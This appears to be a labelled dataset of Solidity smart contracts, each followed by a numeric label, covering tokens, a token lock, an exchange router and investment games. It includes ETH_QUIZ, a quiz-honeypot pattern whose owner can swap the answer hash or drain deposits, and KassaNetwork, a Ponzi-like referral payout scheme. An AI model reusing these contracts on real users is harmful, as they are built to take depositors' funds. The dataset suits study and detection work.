if (now.add(earlier) >= currentLockTime[i].add(later)) {
balanceP[_address] = balanceP[_address].add(currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = balanceP[msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && allowed[_from][msg.sender] >= totalValue);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = balanceP[_from].sub(_value[i]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(_from, _to, _time[i], _value[i]);
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balanceP[_from] = balanceP[_from].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_value);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= allowed[msg.sender][_spender]) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_value);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function mint(uint256 _value) public onlyOwner isMintable returns (bool _success) {
balanceP[msg.sender] = balanceP[msg.sender].add(_value);
totalSupply_ = totalSupply_.add(_value);
emit Mint(msg.sender, _value);
return true;
}
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
} | 1 | 3,446 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract COC_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "COCChain";
string public symbol = "COC";
uint8 public constant decimals = 6;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 1000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 4,565 |
pragma solidity ^0.4.25;
contract Ownable
{
address public owner;
address public newOwner;
constructor() public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner, "Can used only by owner");
_;
}
function changeOwner(address _owner) onlyOwner public
{
require(_owner != 0, "Please provide new owner address");
newOwner = _owner;
}
function confirmOwner() public
{
require(newOwner == msg.sender, "Please call from new owner");
owner = newOwner;
delete newOwner;
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256)
{
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract KassaNetwork is Ownable
{
using SafeMath for uint;
string public constant name = 'Kassa 200/100';
uint public startTimestamp = now;
uint public constant procKoef = 10000;
uint public constant perDay = 100;
uint public constant ownerFee = 400;
uint[4] public bonusReferrer = [600, 200, 100, 50];
uint public constant procReturn = 9000;
uint public constant maxDepositDays = 200;
uint public constant minimalDeposit = 0.5 ether;
uint public constant maximalDepositStart = 20 ether;
uint public constant minimalDepositForBonusReferrer = 0.015 ether;
uint public constant dayLimitStart = 50 ether;
uint public constant progressProcKoef = 100;
uint public constant dayLimitProgressProc = 2;
uint public constant maxDepositProgressProc = 1;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPenalty = 0;
uint public totalSelfInvest = 0;
uint public totalPaid = 0;
event LogInvestment(address _addr, uint _value, bytes _refData);
event LogTransfer(address _addr, uint _amount, uint _contactBalance);
event LogSelfInvestment(uint _value);
event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount);
event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres);
event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount);
event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals);
event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty);
event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty);
event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit);
event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay);
event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer);
struct User
{
uint balance;
uint paidInteres;
uint timestamp;
uint countReferrals;
uint earnOnReferrals;
uint paidReferrals;
address referrer;
}
mapping (address => User) private user;
mapping (uint => uint) private usedDeposit;
function getInteres(address addr) private view returns(uint interes)
{
uint diffDays = getNDay(user[addr].timestamp);
if( diffDays > maxDepositDays ) diffDays = maxDepositDays;
interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef);
}
function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint earnOnReferrals, uint paidReferrals, address referrer)
{
address a = addr;
return (
user[a].balance,
user[a].timestamp,
user[a].paidInteres,
getInteres(a),
user[a].countReferrals,
user[a].earnOnReferrals,
user[a].paidReferrals,
user[a].referrer
);
}
function getCurrentDay() public view returns(uint nday)
{
nday = getNDay(startTimestamp);
}
function getNDay(uint date) public view returns(uint nday)
{
uint diffTime = date > 0 ? now.sub(date) : 0;
nday = diffTime.div(24 hours);
}
function getCurrentDayDepositLimit() public view returns(uint limit)
{
uint nDay = getCurrentDay();
limit = getDayDepositLimit(nDay);
}
function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res)
{
uint s = start;
for (uint i = 0; i < nDay; i++)
{
s = s.mul(progressProcKoef + proc).div(progressProcKoef);
}
return s;
}
function getDayDepositLimit(uint nDay) public pure returns(uint limit)
{
return calcProgress(dayLimitStart, dayLimitProgressProc, nDay );
}
function getMaximalDeposit(uint nDay) public pure returns(uint limit)
{
return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay );
}
function getCurrentDayRestDepositLimit() public view returns(uint restLimit)
{
uint nDay = getCurrentDay();
restLimit = getDayRestDepositLimit(nDay);
}
function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit)
{
restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]);
}
function getCurrentMaximalDeposit() public view returns(uint maximalDeposit)
{
uint nDay = getCurrentDay();
maximalDeposit = getMaximalDeposit(nDay);
}
function() external payable
{
emit LogInvestment(msg.sender, msg.value, msg.data);
processPayment(msg.value, msg.data);
}
function processPayment(uint moneyValue, bytes refData) private
{
if (msg.sender == owner)
{
totalSelfInvest = totalSelfInvest.add(moneyValue);
emit LogSelfInvestment(moneyValue);
return;
}
if (moneyValue == 0)
{
preparePayment();
return;
}
if (moneyValue < minimalDeposit)
{
totalPenalty = totalPenalty.add(moneyValue);
emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty);
return;
}
address referrer = bytesToAddress(refData);
if (user[msg.sender].balance > 0 ||
refData.length != 20 ||
moneyValue > getCurrentMaximalDeposit() ||
referrer != owner &&
(
user[referrer].balance <= 0 ||
referrer == msg.sender)
)
{
uint amount = moneyValue.mul(procReturn).div(procKoef);
totalPenalty = totalPenalty.add(moneyValue.sub(amount));
emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty);
msg.sender.transfer(amount);
return;
}
uint nDay = getCurrentDay();
uint restDepositPerDay = getDayRestDepositLimit(nDay);
uint addDeposit = moneyValue;
if (moneyValue > restDepositPerDay)
{
uint returnDeposit = moneyValue.sub(restDepositPerDay);
uint returnAmount = returnDeposit.mul(procReturn).div(procKoef);
addDeposit = addDeposit.sub(returnDeposit);
totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount));
emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit);
msg.sender.transfer(returnAmount);
}
usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit);
emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]);
registerInvestor(referrer);
sendOwnerFee(addDeposit);
calcBonusReferrers(referrer, addDeposit);
updateInvestBalance(addDeposit);
}
function registerInvestor(address referrer) private
{
user[msg.sender].timestamp = now;
countInvestors++;
user[msg.sender].referrer = referrer;
user[referrer].countReferrals++;
}
function sendOwnerFee(uint addDeposit) private
{
transfer(owner, addDeposit.mul(ownerFee).div(procKoef));
}
function calcBonusReferrers(address referrer, uint addDeposit) private
{
for (uint i = 0; i < bonusReferrer.length && referrer != 0; i++)
{
uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef);
address nextReferrer = user[referrer].referrer;
emit LogCalcBonusReferrer(referrer, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer);
preparePaymentReferrer(referrer, amountReferrer);
referrer = nextReferrer;
}
}
function preparePaymentReferrer(address referrer, uint amountReferrer) private
{
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
uint totalReferrals = user[referrer].earnOnReferrals;
uint paidReferrals = user[referrer].paidReferrals;
if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer))
{
uint amount = totalReferrals.sub(paidReferrals);
user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount);
emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount);
transfer(referrer, amount);
}
else
{
emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals);
}
}
function preparePayment() public
{
uint totalInteres = getInteres(msg.sender);
uint paidInteres = user[msg.sender].paidInteres;
if (totalInteres > paidInteres)
{
uint amount = totalInteres.sub(paidInteres);
emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount);
user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount);
transfer(msg.sender, amount);
}
else
{
emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres);
}
}
function updateInvestBalance(uint addDeposit) private
{
user[msg.sender].balance = user[msg.sender].balance.add(addDeposit);
totalInvest = totalInvest.add(addDeposit);
}
function transfer(address receiver, uint amount) private
{
if (amount > 0)
{
if (receiver != owner) { totalPaid = totalPaid.add(amount); }
uint balance = address(this).balance;
emit LogTransfer(receiver, amount, balance);
require(amount < balance, "Not enough balance. Please retry later.");
receiver.transfer(amount);
}
}
function bytesToAddress(bytes source) private pure returns(address addr)
{
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function getTotals() public view returns(uint _maxDepositDays,
uint _perDay,
uint _startTimestamp,
uint _minimalDeposit,
uint _maximalDeposit,
uint[4] _bonusReferrer,
uint _minimalDepositForBonusReferrer,
uint _ownerFee,
uint _countInvestors,
uint _totalInvest,
uint _totalPenalty,
uint _totalPaid,
uint _currentDayDepositLimit,
uint _currentDayRestDepositLimit)
{
return (
maxDepositDays,
perDay,
startTimestamp,
minimalDeposit,
getCurrentMaximalDeposit(),
bonusReferrer,
minimalDepositForBonusReferrer,
ownerFee,
countInvestors,
totalInvest,
totalPenalty,
totalPaid,
getCurrentDayDepositLimit(),
getCurrentDayRestDepositLimit()
);
}
} | 0 | 954 |
pragma solidity 0.4.21;
interface ExchangeHandler {
function getAvailableAmount(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
function performBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external payable returns (uint256);
function performSell(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Token is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenTransferProxy is Ownable {
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
modifier targetAuthorized(address target) {
require(authorized[target]);
_;
}
modifier targetNotAuthorized(address target) {
require(!authorized[target]);
_;
}
mapping (address => bool) public authorized;
address[] public authorities;
event LogAuthorizedAddressAdded(address indexed target, address indexed caller);
event LogAuthorizedAddressRemoved(address indexed target, address indexed caller);
function addAuthorizedAddress(address target)
public
onlyOwner
targetNotAuthorized(target)
{
authorized[target] = true;
authorities.push(target);
emit LogAuthorizedAddressAdded(target, msg.sender);
}
function removeAuthorizedAddress(address target)
public
onlyOwner
targetAuthorized(target)
{
delete authorized[target];
for (uint i = 0; i < authorities.length; i++) {
if (authorities[i] == target) {
authorities[i] = authorities[authorities.length - 1];
authorities.length -= 1;
break;
}
}
emit LogAuthorizedAddressRemoved(target, msg.sender);
}
function transferFrom(
address token,
address from,
address to,
uint value)
public
onlyAuthorized
returns (bool)
{
return Token(token).transferFrom(from, to, value);
}
function getAuthorizedAddresses()
public
constant
returns (address[])
{
return authorities;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TotlePrimary is Ownable {
uint256 public constant MAX_EXCHANGE_FEE_PERCENTAGE = 0.01 * 10**18;
bool constant BUY = false;
bool constant SELL = true;
mapping(address => bool) public handlerWhitelist;
address tokenTransferProxy;
struct Tokens {
address[] tokenAddresses;
bool[] buyOrSell;
uint256[] amountToObtain;
uint256[] amountToGive;
}
struct DEXOrders {
address[] tokenForOrder;
address[] exchanges;
address[8][] orderAddresses;
uint256[6][] orderValues;
uint256[] exchangeFees;
uint8[] v;
bytes32[] r;
bytes32[] s;
}
function TotlePrimary(address proxy) public {
tokenTransferProxy = proxy;
}
function setHandler(address handler, bool allowed) public onlyOwner {
handlerWhitelist[handler] = allowed;
}
function executeOrders(
address[] tokenAddresses,
bool[] buyOrSell,
uint256[] amountToObtain,
uint256[] amountToGive,
address[] tokenForOrder,
address[] exchanges,
address[8][] orderAddresses,
uint256[6][] orderValues,
uint256[] exchangeFees,
uint8[] v,
bytes32[] r,
bytes32[] s
) public payable {
require(
tokenAddresses.length == buyOrSell.length &&
buyOrSell.length == amountToObtain.length &&
amountToObtain.length == amountToGive.length
);
require(
tokenForOrder.length == exchanges.length &&
exchanges.length == orderAddresses.length &&
orderAddresses.length == orderValues.length &&
orderValues.length == exchangeFees.length &&
exchangeFees.length == v.length &&
v.length == r.length &&
r.length == s.length
);
internalOrderExecution(
Tokens(
tokenAddresses,
buyOrSell,
amountToObtain,
amountToGive
),
DEXOrders(
tokenForOrder,
exchanges,
orderAddresses,
orderValues,
exchangeFees,
v,
r,
s
)
);
}
function internalOrderExecution(Tokens tokens, DEXOrders orders) internal {
transferTokens(tokens);
uint256 tokensLength = tokens.tokenAddresses.length;
uint256 ordersLength = orders.tokenForOrder.length;
uint256 etherBalance = msg.value;
uint256 orderIndex = 0;
for(uint256 tokenIndex = 0; tokenIndex < tokensLength; tokenIndex++) {
uint256 amountRemaining = tokens.amountToGive[tokenIndex];
uint256 amountObtained = 0;
while(orderIndex < ordersLength) {
require(tokens.tokenAddresses[tokenIndex] == orders.tokenForOrder[orderIndex]);
require(handlerWhitelist[orders.exchanges[orderIndex]]);
if(amountRemaining > 0) {
if(tokens.buyOrSell[tokenIndex] == BUY) {
require(etherBalance >= amountRemaining);
}
(amountRemaining, amountObtained) = performTrade(
tokens.buyOrSell[tokenIndex],
amountRemaining,
amountObtained,
orders,
orderIndex
);
}
orderIndex = SafeMath.add(orderIndex, 1);
if(orderIndex == ordersLength || orders.tokenForOrder[SafeMath.sub(orderIndex, 1)] != orders.tokenForOrder[orderIndex]){
break;
}
}
uint256 amountGiven = SafeMath.sub(tokens.amountToGive[tokenIndex], amountRemaining);
require(orderWasValid(amountObtained, amountGiven, tokens.amountToObtain[tokenIndex], tokens.amountToGive[tokenIndex]));
if(tokens.buyOrSell[tokenIndex] == BUY) {
etherBalance = SafeMath.sub(etherBalance, amountGiven);
if(amountObtained > 0) {
require(Token(tokens.tokenAddresses[tokenIndex]).transfer(msg.sender, amountObtained));
}
} else {
etherBalance = SafeMath.add(etherBalance, amountObtained);
if(amountRemaining > 0) {
require(Token(tokens.tokenAddresses[tokenIndex]).transfer(msg.sender, amountRemaining));
}
}
}
if(etherBalance > 0) {
msg.sender.transfer(etherBalance);
}
}
function transferTokens(Tokens tokens) internal {
uint256 expectedEtherAvailable = msg.value;
uint256 totalEtherNeeded = 0;
for(uint256 i = 0; i < tokens.tokenAddresses.length; i++) {
if(tokens.buyOrSell[i] == BUY) {
totalEtherNeeded = SafeMath.add(totalEtherNeeded, tokens.amountToGive[i]);
} else {
expectedEtherAvailable = SafeMath.add(expectedEtherAvailable, tokens.amountToObtain[i]);
require(TokenTransferProxy(tokenTransferProxy).transferFrom(
tokens.tokenAddresses[i],
msg.sender,
this,
tokens.amountToGive[i]
));
}
}
require(expectedEtherAvailable >= totalEtherNeeded);
}
function performTrade(bool buyOrSell, uint256 initialRemaining, uint256 totalObtained, DEXOrders orders, uint256 index)
internal returns (uint256, uint256) {
uint256 obtained = 0;
uint256 remaining = initialRemaining;
require(orders.exchangeFees[index] < MAX_EXCHANGE_FEE_PERCENTAGE);
uint256 amountToFill = getAmountToFill(remaining, orders, index);
if(amountToFill > 0) {
remaining = SafeMath.sub(remaining, amountToFill);
if(buyOrSell == BUY) {
obtained = ExchangeHandler(orders.exchanges[index]).performBuy.value(amountToFill)(
orders.orderAddresses[index],
orders.orderValues[index],
orders.exchangeFees[index],
amountToFill,
orders.v[index],
orders.r[index],
orders.s[index]
);
} else {
require(Token(orders.tokenForOrder[index]).transfer(
orders.exchanges[index],
amountToFill
));
obtained = ExchangeHandler(orders.exchanges[index]).performSell(
orders.orderAddresses[index],
orders.orderValues[index],
orders.exchangeFees[index],
amountToFill,
orders.v[index],
orders.r[index],
orders.s[index]
);
}
}
return (obtained == 0 ? initialRemaining: remaining, SafeMath.add(totalObtained, obtained));
}
function getAmountToFill(uint256 remaining, DEXOrders orders, uint256 index) internal returns (uint256) {
uint256 availableAmount = ExchangeHandler(orders.exchanges[index]).getAvailableAmount(
orders.orderAddresses[index],
orders.orderValues[index],
orders.exchangeFees[index],
orders.v[index],
orders.r[index],
orders.s[index]
);
return Math.min256(remaining, availableAmount);
}
function orderWasValid(uint256 amountObtained, uint256 amountGiven, uint256 amountToObtain, uint256 amountToGive) internal pure returns (bool) {
if(amountObtained > 0 && amountGiven > 0) {
if(amountObtained > amountGiven) {
return SafeMath.div(amountToObtain, amountToGive) <= SafeMath.div(amountObtained, amountGiven);
} else {
return SafeMath.div(amountToGive, amountToObtain) >= SafeMath.div(amountGiven, amountObtained);
}
}
return false;
}
function() public payable {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size > 0);
}
} | 1 | 5,543 |
pragma solidity ^0.4.20;
contract ETH_QUIZ
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>=1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function Set_Game(string _question,string _response) public payable {
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} | 1 | 2,735 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract MultiOwnable {
mapping (address => bool) owners;
address unremovableOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OwnershipExtended(address indexed host, address indexed guest);
event OwnershipRemoved(address indexed removedOwner);
modifier onlyOwner() {
require(owners[msg.sender]);
_;
}
constructor() public {
owners[msg.sender] = true;
unremovableOwner = msg.sender;
}
function addOwner(address guest) onlyOwner public {
require(guest != address(0));
owners[guest] = true;
emit OwnershipExtended(msg.sender, guest);
}
function removeOwner(address removedOwner) onlyOwner public {
require(removedOwner != address(0));
require(unremovableOwner != removedOwner);
delete owners[removedOwner];
emit OwnershipRemoved(removedOwner);
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
require(unremovableOwner != msg.sender);
owners[newOwner] = true;
delete owners[msg.sender];
emit OwnershipTransferred(msg.sender, newOwner);
}
function isOwner(address addr) public view returns(bool){
return owners[addr];
}
}
contract TokenLock is MultiOwnable {
ERC20 public token;
mapping (address => uint256) public lockAmounts;
mapping (address => uint256) public releaseTimestamps;
constructor (address _token) public {
token = ERC20(_token);
}
function getLockAmount(address _addr) external view returns (uint256) {
return lockAmounts[_addr];
}
function getReleaseBlock(address _addr) external view returns (uint256) {
return releaseTimestamps[_addr];
}
function lock(address _addr, uint256 _amount, uint256 _releaseTimestamp) external {
require(owners[msg.sender]);
require(_addr != address(0));
lockAmounts[_addr] = _amount;
releaseTimestamps[_addr] = _releaseTimestamp;
}
function release(address _addr) external {
require(owners[msg.sender] || msg.sender == _addr);
require(block.timestamp >= releaseTimestamps[_addr]);
uint256 amount = lockAmounts[_addr];
lockAmounts[_addr] = 0;
releaseTimestamps[_addr] = 0;
token.transfer(_addr, amount);
}
} | 1 | 5,454 |
pragma solidity ^0.4.19;
contract Token {
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender)
public constant returns (uint256);
